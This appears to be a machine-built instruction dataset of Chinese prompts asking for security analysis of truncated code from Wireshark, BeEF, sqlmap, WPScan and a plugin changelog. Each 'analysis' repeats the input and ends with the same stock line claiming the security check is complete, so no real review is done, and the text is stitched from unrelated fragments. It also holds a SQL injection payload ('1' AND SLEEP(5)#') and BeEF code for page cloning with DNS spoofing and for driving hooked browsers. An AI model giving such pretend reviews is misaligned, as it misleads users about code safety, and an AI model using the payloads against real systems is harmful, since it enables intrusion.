#include "packet-gre.h"
#include "packet-ieee8023.h"
#include "packet-ipx.h"
#include "packet-isl.h"
#include "packet-llc.h"
#include "packet-sll.h"
#include "packet-juniper.h"
#include "packet-sflow.h"
#include "packet-l2tp.h"
#include "packet-vxlan.h"
#include "packet-nsh.h"
#include "packet-acdr.h"
#include "packet-mctp.h"
#include <epan/crc32-tvb.h>
#include <wiretap/erf_record.h>

void proto_register_eth(void);
void proto_reg_handoff_eth(void);

#define PADDING_NONE        0
#define PADDING_ZEROS       1
#define PADDING_ANY         2

static gint eth_padding = PADDING_ZEROS;
static guint eth_trailer_length = 0;
/* By default, try to autodetect FCS */
static gint eth_fcs = -1;
static gboolean eth_check_fcs = FALSE;
/* Interpret packets as FW1 monitor file packets if they look as if they are */
static gboolean eth_interpret_as_fw1_monitor = FALSE;
/* When capturing on a Cisco FEX some frames start with an extra destination mac */
static gboolean eth_deduplicate_dmac = FALSE;
/* Preference settings defining conditions for which the CCSDS dissector is called */
static gboolean ccsds_heuristic_length = FALSE;
static gboolean ccsds_heuristic_version = FALSE;
static gboolean ccsds_heuristic_header = FALSE;
static gboolean ccsds_heuristic_bit = FALSE;

/* protocols and header fields */
static int proto_eth = -1;
static int hf_eth_dst = -1;
static int hf_e...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

#
# Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
require 'test/unit'
require 'rest-client'
require 'json'
require '../common/test_constants'

# @todo RESTful API for the social engineering extension lacks some serious test coverage.
class TC_SocialEngineeringRest < Test::Unit::TestCase

  class << self

    # Login to API before performing any tests
    def startup
      json = {:username => BEEF_USER, :password => BEEF_PASSWD}.to_json
      @@headers = {:content_type => :json, :accept => :json}

      response = RestClient.post("#{RESTAPI_ADMIN}/login",
                                 json,
                                 @@headers)

      result = JSON.parse(response.body)
      @@token = result['token']

      $root_dir = '../../'
      $:.unshift($root_dir)

      require 'core/loader'

      BeEF::Core::Configuration.new(File.join($root_dir, 'config.yaml'))
      BeEF::Core::Configuration.instance.load_extensions_config

      @@config = BeEF::Core::Configuration.instance
    end

    def shutdown
      $root_dir = nil
    end

  end

  # Tests DNS spoofing of cloned webpages
  def test_1_dns_spoof
    url = 'http://beefproject.com'
    mount = '/beefproject'
    dns_spoof = true

    json = {:url => url, :mount => mount, :dns_spoof => dns_spoof}.to_json

    domain = url.gsub(%r{^https?://}, '')

    response = RestClient.post("#{RESTAPI_SENG}/clone_page?token=#{@@token}",
                               json,
                               @@headers)

    check_response(response)

    # Send DNS request to server to verify that a new rule was added
    dns_address = @@config.get('beef.extension.dns.address')
    dns_port = @@config.get('beef.extension.dns.port')
    dig_output = IO.popen(["dig", "@#{dns_address}", "-p", "#{dns_port}", "-t",
                          "A", "+short", "#{domain}"], 'r+').read.strip!

    foundmatch =...


Instruction: 检查这段代码是否存在安全问题

Input:
#
# Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
require 'test/unit'
require 'rest-client'
require 'json'
require '../common/test_constants'

# @todo RESTful API for the social engineering extension lacks some serious test coverage.
class TC_SocialEngineeringRest < Test::Unit::TestCase

  class << self

    # Login to API before performing any tests
    def startup
      json = {:username => BEEF_USER, :password => BEEF_PASSWD}.to_json
      @@headers = {:content_type => :json, :accept => :json}

      response = RestClient.post("#{RESTAPI_ADMIN}/login",
                                 json,
                                 @@headers)

      result = JSON.parse(response.body)
      @@token = result['token']

      $root_dir = '../../'
      $:.unshift($root_dir)

      require 'core/loader'

      BeEF::Core::Configuration.new(File.join($root_dir, 'config.yaml'))
      BeEF::Core::Configuration.instance.load_extensions_config

      @@config = BeEF::Core::Configuration.instance
    end

    def shutdown
      $root_dir = nil
    end

  end

  # Tests DNS spoofing of cloned webpages
  def test_1_dns_spoof
    url = 'http://beefproject.com'
    mount = '/beefproject'
    dns_spoof = true

    json = {:url => url, :mount => mount, :dns_spoof => dns_spoof}.to_json

    domain = url.gsub(%r{^https?://}, '')

    response = RestClient.post("#{RESTAPI_SENG}/clone_page?token=#{@@token}",
                               json,
                               @@headers)

    check_response(response)

    # Send DNS request to server to verify that a new rule was added
    dns_address = @@config.get('beef.extension.dns.address')
    dns_port = @@config.get('beef.extension.dns.port')
    dig_output = IO.popen(["dig", "@#{dns_address}", "-p", "#{dns_port}", "-t",
                          "A", "+short", "#{domain}"], 'r+').read.strip!

    foundmatch =...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

#!/usr/bin/env python

"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    HTML encode in hexadecimal (using code points) all characters (e.g. ' -> 1)

    >>> tamper("1' AND SLEEP(5)#")
    '1' AND SLEEP(5)#'
    """

    retVal = payload

    if payload:
        retVal = ""
        i = 0

        while i < len(payload):
            retVal += "&#x%s;" % format(ord(payload[i]), "x")
            i += 1

    return retVal


Instruction: 检查这段代码是否存在安全问题

Input:
#!/usr/bin/env python

"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    HTML encode in hexadecimal (using code points) all characters (e.g. ' -> 1)

    >>> tamper("1' AND SLEEP(5)#")
    '1' AND SLEEP(5)#'
    """

    retVal = payload

    if payload:
        retVal = ""
        i = 0

        while i < len(payload):
            retVal += "&#x%s;" % format(ord(payload[i]), "x")
            i += 1

    return retVal

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

# Changelog #

## 1.2.3 ##
* Fixed - issue with notice placement (whoops)

## 1.2.1 ##

* Updated sanitization to match wordpress.org audit.

## 1.2.0 ##

* Updated - Namespace changed from courier to courier-notices due to plugin conflict on wordpress.org
* Fixed   - Duplicate modal/popup issue
* Submission to wordpress.org

## 1.1.4 ##

* Fixed - Fatal error when assigning data to a template view

## 1.1.3 ##

* Fixed - Icon font specificity

## 1.1.2 ##

* Remove - Notice font styles, allow styling to inherit from theme

## 1.1.1 ##

* Fixed - Issue with default styles not being created on install
* Fixed - Security updates provided by github audit

## 1.1.0 ##

* Fixed - Minor security updates
* Fixed - Minor code cleanup
* Fixed - Link to Types/Design was broken
* Fixed - Link to Settings was broken
* Fixed - Minor updates to strings to allow for translation
* Fixed - Modal notice was not working properly (dismissible)
* Fixed - Error log was being utilized and should not have been
* Fixed - Cron was running hourly and not every 5 minutes
* Fixed - Various typos (We talk pretty one day)
* Fixed - utilizing iris wpColorPicker (For the time being)
* Fixed - Fixed an issue with color changes in the design panel did not show until page refresh
* Added - New UI/UX for creating and styling "Types" of notices
* Added - Courier actually has some branding now
* Added - Default data on plugin activation
* Added - Utility method to sanitize kses content
* Added - Cleaned up CSS across the entire plugin
* Added - New cron schedule (Every 5 minutes)
* Added - New taxonomy for "Style of Notice". This will allow for all different kinds of notices in the future
* Added - Base for CRUD in the future. Mainly just R right now.
* Improved - Added more flexibility to how tabs and subtabs can extend the plugin
* Improved - CSS is only generated and output if CSS is not disabled
* Improved - Placement logic is more flexible now
* Improved - UI/UX to show different notice options depe...


Instruction: 检查这段代码是否存在安全问题

Input:
# Changelog #

## 1.2.3 ##
* Fixed - issue with notice placement (whoops)

## 1.2.1 ##

* Updated sanitization to match wordpress.org audit.

## 1.2.0 ##

* Updated - Namespace changed from courier to courier-notices due to plugin conflict on wordpress.org
* Fixed   - Duplicate modal/popup issue
* Submission to wordpress.org

## 1.1.4 ##

* Fixed - Fatal error when assigning data to a template view

## 1.1.3 ##

* Fixed - Icon font specificity

## 1.1.2 ##

* Remove - Notice font styles, allow styling to inherit from theme

## 1.1.1 ##

* Fixed - Issue with default styles not being created on install
* Fixed - Security updates provided by github audit

## 1.1.0 ##

* Fixed - Minor security updates
* Fixed - Minor code cleanup
* Fixed - Link to Types/Design was broken
* Fixed - Link to Settings was broken
* Fixed - Minor updates to strings to allow for translation
* Fixed - Modal notice was not working properly (dismissible)
* Fixed - Error log was being utilized and should not have been
* Fixed - Cron was running hourly and not every 5 minutes
* Fixed - Various typos (We talk pretty one day)
* Fixed - utilizing iris wpColorPicker (For the time being)
* Fixed - Fixed an issue with color changes in the design panel did not show until page refresh
* Added - New UI/UX for creating and styling "Types" of notices
* Added - Courier actually has some branding now
* Added - Default data on plugin activation
* Added - Utility method to sanitize kses content
* Added - Cleaned up CSS across the entire plugin
* Added - New cron schedule (Every 5 minutes)
* Added - New taxonomy for "Style of Notice". This will allow for all different kinds of notices in the future
* Added - Base for CRUD in the future. Mainly just R right now.
* Improved - Added more flexibility to how tabs and subtabs can extend the plugin
* Improved - CSS is only generated and output if CSS is not disabled
* Improved - Placement logic is more flexible now
* Improved - UI/UX to show different notice options depe...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* tfs.c
 * true_false strings
 * Copyright 2007, Jaap Keuter <jaap.keuter@xs4all.nl>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

/*
 * Note: Adding a true_false_string here must be accompanied by an addition to
 * both tfs.h and libwireshark*.symbols.
 */

#include "config.h"
#include "tfs.h"

/** Returns the string representing the true or false value. */
const char *tfs_get_string(gboolean value, const true_false_string *tfs)
{
    return value ? tfs->true_string : tfs->false_string;
}

/*
 * A default set of true/false strings that dissectors can use for
 * FT_BOOLEAN header fields.
 */
const true_false_string tfs_true_false = { "True", "False" };
const true_false_string tfs_yes_no = { "Yes", "No" };
const true_false_string tfs_no_yes = { "No", "Yes" };
const true_false_string tfs_set_notset = { "Set", "Not set" };
const true_false_string tfs_enabled_disabled = { "Enabled", "Disabled" };
const true_false_string tfs_disabled_enabled = { "Disabled", "Enabled" };
const true_false_string tfs_ok_error = { "Ok", "Error" };
const true_false_string tfs_error_ok = { "Error", "Ok" };
const true_false_string tfs_success_fail = { "Success", "Fail" };
const true_false_string tfs_fail_success = { "Fail", "Success" };
const true_false_string tfs_on_off = { "On", "Off" };
const true_false_string tfs_ack_nack = { "Ack", "Nack" };
const true_false_string tfs_odd_even = { "Odd", "Even" };
const true_false_string tfs_allow_block = { "Allow", "Block" };
const true_false_string tfs_restricted_allowed = { "Restricted", "Allowed" };
const true_false_string tfs_restricted_not_restricted = { "Restricted", "Not restricted" };
const true_false_string tfs_not_restricted_restricted = { "Not restricted", "Restricted" };
const true_false_string tfs_accept_reject = { "Accept", "Reject" };
const true_false_string tfs_more_nomore = { "More", "No more" };
const true_false_st...


Instruction: 检查这段代码是否存在安全问题

Input:
/* tfs.c
 * true_false strings
 * Copyright 2007, Jaap Keuter <jaap.keuter@xs4all.nl>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

/*
 * Note: Adding a true_false_string here must be accompanied by an addition to
 * both tfs.h and libwireshark*.symbols.
 */

#include "config.h"
#include "tfs.h"

/** Returns the string representing the true or false value. */
const char *tfs_get_string(gboolean value, const true_false_string *tfs)
{
    return value ? tfs->true_string : tfs->false_string;
}

/*
 * A default set of true/false strings that dissectors can use for
 * FT_BOOLEAN header fields.
 */
const true_false_string tfs_true_false = { "True", "False" };
const true_false_string tfs_yes_no = { "Yes", "No" };
const true_false_string tfs_no_yes = { "No", "Yes" };
const true_false_string tfs_set_notset = { "Set", "Not set" };
const true_false_string tfs_enabled_disabled = { "Enabled", "Disabled" };
const true_false_string tfs_disabled_enabled = { "Disabled", "Enabled" };
const true_false_string tfs_ok_error = { "Ok", "Error" };
const true_false_string tfs_error_ok = { "Error", "Ok" };
const true_false_string tfs_success_fail = { "Success", "Fail" };
const true_false_string tfs_fail_success = { "Fail", "Success" };
const true_false_string tfs_on_off = { "On", "Off" };
const true_false_string tfs_ack_nack = { "Ack", "Nack" };
const true_false_string tfs_odd_even = { "Odd", "Even" };
const true_false_string tfs_allow_block = { "Allow", "Block" };
const true_false_string tfs_restricted_allowed = { "Restricted", "Allowed" };
const true_false_string tfs_restricted_not_restricted = { "Restricted", "Not restricted" };
const true_false_string tfs_not_restricted_restricted = { "Not restricted", "Restricted" };
const true_false_string tfs_accept_reject = { "Accept", "Reject" };
const true_false_string tfs_more_nomore = { "More", "No more" };
const true_false_st...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

#
# Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

module BeEF
  module Extension
    module Requester
      module API
        require 'uri'
        class Hook
          include BeEF::Core::Handlers::Modules::BeEFJS

          # If the HTTP table contains requests that need to be sent (has_ran = waiting), retrieve
          # and send them to the hooked browser.
          def requester_run(hb, body)
            @body = body
            # Generate all the requests and output them to the hooked browser
            output = []
            print_debug hb.to_json
            BeEF::Core::Models::Http.where(hooked_browser_id: hb.session, has_ran: 'waiting').each do |h|
              output << requester_parse_db_request(h)
            end

            return if output.empty?

            config = BeEF::Core::Configuration.instance
            ws = BeEF::Core::Websocket::Websocket.instance

            evasion = BeEF::Extension::Evasion::Evasion.instance if config.get('beef.extension.evasion.enable')

            # TODO: antisnatchor: prevent sending "content" multiple times.
            #                    Better leaving it after the first run, and don't send it again.
            # todo antisnatchor: remove this gsub crap adding some hook packing.

            # If we use WebSockets, just reply wih the component contents
            if config.get('beef.http.websocket.enable') && ws.getsocket(hb.session)
              content = File.read(find_beefjs_component_path('beef.net.requester')).gsub('//
              //   Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net
              //   Browser Exploitation Framework (BeEF) - http://beefproject.com
              //   See the file \'doc/COPYING\' for copying permission
              //', '')
              add_to_body output
              if config.get('beef.extension.evasion.enable')
          ...


Instruction: 检查这段代码是否存在安全问题

Input:
#
# Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

module BeEF
  module Extension
    module Requester
      module API
        require 'uri'
        class Hook
          include BeEF::Core::Handlers::Modules::BeEFJS

          # If the HTTP table contains requests that need to be sent (has_ran = waiting), retrieve
          # and send them to the hooked browser.
          def requester_run(hb, body)
            @body = body
            # Generate all the requests and output them to the hooked browser
            output = []
            print_debug hb.to_json
            BeEF::Core::Models::Http.where(hooked_browser_id: hb.session, has_ran: 'waiting').each do |h|
              output << requester_parse_db_request(h)
            end

            return if output.empty?

            config = BeEF::Core::Configuration.instance
            ws = BeEF::Core::Websocket::Websocket.instance

            evasion = BeEF::Extension::Evasion::Evasion.instance if config.get('beef.extension.evasion.enable')

            # TODO: antisnatchor: prevent sending "content" multiple times.
            #                    Better leaving it after the first run, and don't send it again.
            # todo antisnatchor: remove this gsub crap adding some hook packing.

            # If we use WebSockets, just reply wih the component contents
            if config.get('beef.http.websocket.enable') && ws.getsocket(hb.session)
              content = File.read(find_beefjs_component_path('beef.net.requester')).gsub('//
              //   Copyright (c) 2006-2023Wade Alcorn - wade@bindshell.net
              //   Browser Exploitation Framework (BeEF) - http://beefproject.com
              //   See the file \'doc/COPYING\' for copying permission
              //', '')
              add_to_body output
              if config.get('beef.extension.evasion.enable')
          ...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

# frozen_string_literal: true

module WPScan
  module Controller
    # Wp Version Controller
    class WpVersion < CMSScanner::Controller::Base
      def cli_options
        [
          OptBoolean.new(['--wp-version-all', 'Check all the version locations'], advanced: true),
          OptChoice.new(
            ['--wp-version-detection MODE',
             'Use the supplied mode for the WordPress version detection, ' \
             'instead of the global (--detection-mode) mode.'],
            choices: %w[mixed passive aggressive], normalize: :to_sym, advanced: true
          )
        ]
      end

      def before_scan
        DB::DynamicFinders::Wordpress.create_versions_finders
      end

      def run
        output(
          'version',
          version: target.wp_version(
            mode: ParsedCli.wp_version_detection || ParsedCli.detection_mode,
            confidence_threshold: ParsedCli.wp_version_all ? 0 : 100,
            show_progression: user_interaction?
          )
        )
      end
    end
  end
end


Instruction: 检查这段代码是否存在安全问题

Input:
# frozen_string_literal: true

module WPScan
  module Controller
    # Wp Version Controller
    class WpVersion < CMSScanner::Controller::Base
      def cli_options
        [
          OptBoolean.new(['--wp-version-all', 'Check all the version locations'], advanced: true),
          OptChoice.new(
            ['--wp-version-detection MODE',
             'Use the supplied mode for the WordPress version detection, ' \
             'instead of the global (--detection-mode) mode.'],
            choices: %w[mixed passive aggressive], normalize: :to_sym, advanced: true
          )
        ]
      end

      def before_scan
        DB::DynamicFinders::Wordpress.create_versions_finders
      end

      def run
        output(
          'version',
          version: target.wp_version(
            mode: ParsedCli.wp_version_detection || ParsedCli.detection_mode,
            confidence_threshold: ParsedCli.wp_version_all ? 0 : 100,
            show_progression: user_interaction?
          )
        )
      end
    end
  end
end

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-openthread.c
 * Simple dissector for OpenThread loopback interface
 *
 * Robert Cragie <robert.cragie@arm.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>

/* Forward declarations */
void proto_register_openthread(void);
void proto_reg_handoff_openthread(void);

static int proto_openthread = -1;

static dissector_handle_t openthread_handle;
static dissector_handle_t wpan_handle;

static int hf_openthread_channel = -1;
/* static int hf_openthread_psdu = -1; */

static gint ett_openthread = -1;

static int
dissect_openthread(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void *data _U_)
{
    proto_item  *proto_root;
    proto_tree  *openthread_tree;
    tvbuff_t    *sub_tvb;

    /* Create the protocol tree. */
    proto_root = proto_tree_add_item(tree, proto_openthread, tvb, 0, -1, ENC_NA);
    openthread_tree = proto_item_add_subtree(proto_root, ett_openthread);

    proto_tree_add_item(openthread_tree, hf_openthread_channel, tvb, 0, 1, ENC_NA);
    sub_tvb = tvb_new_subset_length(tvb, 1, tvb_reported_length_remaining(tvb, 3)); /* Note - truncate the last two "phoney" CRC bytes */
    call_dissector(wpan_handle, sub_tvb, pinfo, tree);

    return tvb_captured_length(tvb);
}

void
proto_register_openthread(void)
{
    static hf_register_info hf[] = {

        /* Generic TLV */
        { &hf_openthread_channel,
            { "Channel",
            "openthread.channel",
            FT_UINT8, BASE_DEC, NULL, 0x0,
            NULL,
            HFILL }
        },
#if 0
        { &hf_openthread_psdu,
            { "PSDU",
            "openthread.psdu",
            FT_NONE, BASE_NONE, NULL, 0x0,
            NULL,
            HFILL }
        }
#endif
    };

    static gint *ett[] = {
        &ett_openthread
    };

    proto_openthread = proto_register_protocol("OpenThread", "OpenThread", ...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-openthread.c
 * Simple dissector for OpenThread loopback interface
 *
 * Robert Cragie <robert.cragie@arm.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>

/* Forward declarations */
void proto_register_openthread(void);
void proto_reg_handoff_openthread(void);

static int proto_openthread = -1;

static dissector_handle_t openthread_handle;
static dissector_handle_t wpan_handle;

static int hf_openthread_channel = -1;
/* static int hf_openthread_psdu = -1; */

static gint ett_openthread = -1;

static int
dissect_openthread(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void *data _U_)
{
    proto_item  *proto_root;
    proto_tree  *openthread_tree;
    tvbuff_t    *sub_tvb;

    /* Create the protocol tree. */
    proto_root = proto_tree_add_item(tree, proto_openthread, tvb, 0, -1, ENC_NA);
    openthread_tree = proto_item_add_subtree(proto_root, ett_openthread);

    proto_tree_add_item(openthread_tree, hf_openthread_channel, tvb, 0, 1, ENC_NA);
    sub_tvb = tvb_new_subset_length(tvb, 1, tvb_reported_length_remaining(tvb, 3)); /* Note - truncate the last two "phoney" CRC bytes */
    call_dissector(wpan_handle, sub_tvb, pinfo, tree);

    return tvb_captured_length(tvb);
}

void
proto_register_openthread(void)
{
    static hf_register_info hf[] = {

        /* Generic TLV */
        { &hf_openthread_channel,
            { "Channel",
            "openthread.channel",
            FT_UINT8, BASE_DEC, NULL, 0x0,
            NULL,
            HFILL }
        },
#if 0
        { &hf_openthread_psdu,
            { "PSDU",
            "openthread.psdu",
            FT_NONE, BASE_NONE, NULL, 0x0,
            NULL,
            HFILL }
        }
#endif
    };

    static gint *ett[] = {
        &ett_openthread
    };

    proto_openthread = proto_register_protocol("OpenThread", "OpenThread", ...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* Do not modify this file. Changes will be overwritten.                      */
/* Generated automatically by the ASN.1 to Wireshark dissector compiler       */
/* packet-ocsp.c                                                              */
/* asn2wrs.py -b -L -p ocsp -c ./ocsp.cnf -s ./packet-ocsp-template -D . -O ../.. OCSP.asn */

/* packet-ocsp.c
 * Routines for Online Certificate Status Protocol (RFC2560) packet dissection
 *  Ronnie Sahlberg 2004
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>

#include <asn1.h>

#include "packet-ber.h"
#include "packet-ocsp.h"
#include "packet-x509af.h"
#include "packet-x509ce.h"
#include "packet-pkix1implicit.h"
#include "packet-pkix1explicit.h"

#define PNAME  "Online Certificate Status Protocol"
#define PSNAME "OCSP"
#define PFNAME "ocsp"

void proto_register_ocsp(void);
void proto_reg_handoff_ocsp(void);

static dissector_handle_t ocsp_request_handle;
static dissector_handle_t ocsp_response_handle;

/* Initialize the protocol and registered fields */
int proto_ocsp = -1;
static int hf_ocsp_responseType_id = -1;
static int hf_ocsp_BasicOCSPResponse_PDU = -1;    /* BasicOCSPResponse */
static int hf_ocsp_ArchiveCutoff_PDU = -1;        /* ArchiveCutoff */
static int hf_ocsp_AcceptableResponses_PDU = -1;  /* AcceptableResponses */
static int hf_ocsp_ServiceLocator_PDU = -1;       /* ServiceLocator */
static int hf_ocsp_CrlID_PDU = -1;                /* CrlID */
static int hf_ocsp_ReOcspNonce_PDU = -1;          /* ReOcspNonce */
static int hf_ocsp_NULL_PDU = -1;                 /* NULL */
static int hf_ocsp_tbsRequest = -1;               /* TBSRequest */
static int hf_ocsp_optionalSignature = -1;        /* Signature */
static int hf_ocsp_version = -1;                  /* Version */
static int hf_ocsp_requestorName = -1;            /* GeneralName */
static int h...


Instruction: 检查这段代码是否存在安全问题

Input:
/* Do not modify this file. Changes will be overwritten.                      */
/* Generated automatically by the ASN.1 to Wireshark dissector compiler       */
/* packet-ocsp.c                                                              */
/* asn2wrs.py -b -L -p ocsp -c ./ocsp.cnf -s ./packet-ocsp-template -D . -O ../.. OCSP.asn */

/* packet-ocsp.c
 * Routines for Online Certificate Status Protocol (RFC2560) packet dissection
 *  Ronnie Sahlberg 2004
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>

#include <asn1.h>

#include "packet-ber.h"
#include "packet-ocsp.h"
#include "packet-x509af.h"
#include "packet-x509ce.h"
#include "packet-pkix1implicit.h"
#include "packet-pkix1explicit.h"

#define PNAME  "Online Certificate Status Protocol"
#define PSNAME "OCSP"
#define PFNAME "ocsp"

void proto_register_ocsp(void);
void proto_reg_handoff_ocsp(void);

static dissector_handle_t ocsp_request_handle;
static dissector_handle_t ocsp_response_handle;

/* Initialize the protocol and registered fields */
int proto_ocsp = -1;
static int hf_ocsp_responseType_id = -1;
static int hf_ocsp_BasicOCSPResponse_PDU = -1;    /* BasicOCSPResponse */
static int hf_ocsp_ArchiveCutoff_PDU = -1;        /* ArchiveCutoff */
static int hf_ocsp_AcceptableResponses_PDU = -1;  /* AcceptableResponses */
static int hf_ocsp_ServiceLocator_PDU = -1;       /* ServiceLocator */
static int hf_ocsp_CrlID_PDU = -1;                /* CrlID */
static int hf_ocsp_ReOcspNonce_PDU = -1;          /* ReOcspNonce */
static int hf_ocsp_NULL_PDU = -1;                 /* NULL */
static int hf_ocsp_tbsRequest = -1;               /* TBSRequest */
static int hf_ocsp_optionalSignature = -1;        /* Signature */
static int hf_ocsp_version = -1;                  /* Version */
static int hf_ocsp_requestorName = -1;            /* GeneralName */
static int h...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-dvb-s2-table.c
 * Routines for DVB-RCS2 Table dissection
 * Copyright 2015-2020, Thales Alenia Space
 * Copyright 2015-2020, Viveris Technologies <adrien.destugues@opensource.viveris.fr>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along
 * with this program; if not, write to the Free Software Foundation, Inc.,
 * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 */

#include "config.h"

#include <glib.h>
#include <epan/packet.h>
#include <epan/prefs.h>
#include <epan/etypes.h>
#include "packet-snmp.h"

void proto_register_dvb_s2_table(void);
void proto_reg_handoff_dvb_s2_table(void);

/* preferences */
#define DVB_S2_RCS_TABLE_DECODING      0
#define DVB_S2_RCS2_TABLE_DECODING     1

static gint dvb_s2_rcs_version = DVB_S2_RCS2_TABLE_DECODING;

/* Initialize the protocol and registered fields */
static int proto_dvb_s2_table = -1;
static int hf_dvb_s2_table_id = -1;
static int hf_dvb_s2_table_section = -1;
static int hf_dvb_s2_table_private = -1;
static int hf_dvb_s2_table_reserved = -1;
static int hf_dvb_s2_table_msb_len = -1;
static int hf_dvb_s2_table_lsb_len = -1;
static int hf_dvb_s2_table_network_interactive_id = -1;
static int hf_dvb_s2_table_reserved2 = -1;
static int hf_dvb_s2_table_version_number = -1;
static int hf_dvb_s2_table_current_next_indicator = -1;
static int hf_dvb_s2_table_section_number ...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-dvb-s2-table.c
 * Routines for DVB-RCS2 Table dissection
 * Copyright 2015-2020, Thales Alenia Space
 * Copyright 2015-2020, Viveris Technologies <adrien.destugues@opensource.viveris.fr>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along
 * with this program; if not, write to the Free Software Foundation, Inc.,
 * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 */

#include "config.h"

#include <glib.h>
#include <epan/packet.h>
#include <epan/prefs.h>
#include <epan/etypes.h>
#include "packet-snmp.h"

void proto_register_dvb_s2_table(void);
void proto_reg_handoff_dvb_s2_table(void);

/* preferences */
#define DVB_S2_RCS_TABLE_DECODING      0
#define DVB_S2_RCS2_TABLE_DECODING     1

static gint dvb_s2_rcs_version = DVB_S2_RCS2_TABLE_DECODING;

/* Initialize the protocol and registered fields */
static int proto_dvb_s2_table = -1;
static int hf_dvb_s2_table_id = -1;
static int hf_dvb_s2_table_section = -1;
static int hf_dvb_s2_table_private = -1;
static int hf_dvb_s2_table_reserved = -1;
static int hf_dvb_s2_table_msb_len = -1;
static int hf_dvb_s2_table_lsb_len = -1;
static int hf_dvb_s2_table_network_interactive_id = -1;
static int hf_dvb_s2_table_reserved2 = -1;
static int hf_dvb_s2_table_version_number = -1;
static int hf_dvb_s2_table_current_next_indicator = -1;
static int hf_dvb_s2_table_section_number ...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* Do not modify this file. Changes will be overwritten.                      */
/* Generated automatically by the ASN.1 to Wireshark dissector compiler       */
/* packet-pkcs10.c                                                            */
/* asn2wrs.py -b -L -p pkcs10 -c ./pkcs10.cnf -s ./packet-pkcs10-template -D . -O ../.. PKCS10.asn */

/* packet-p10.c
 *
 * Routines for PKCS10 packet dissection
 *   Martin Peylo <wireshark@izac.de> 2018
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
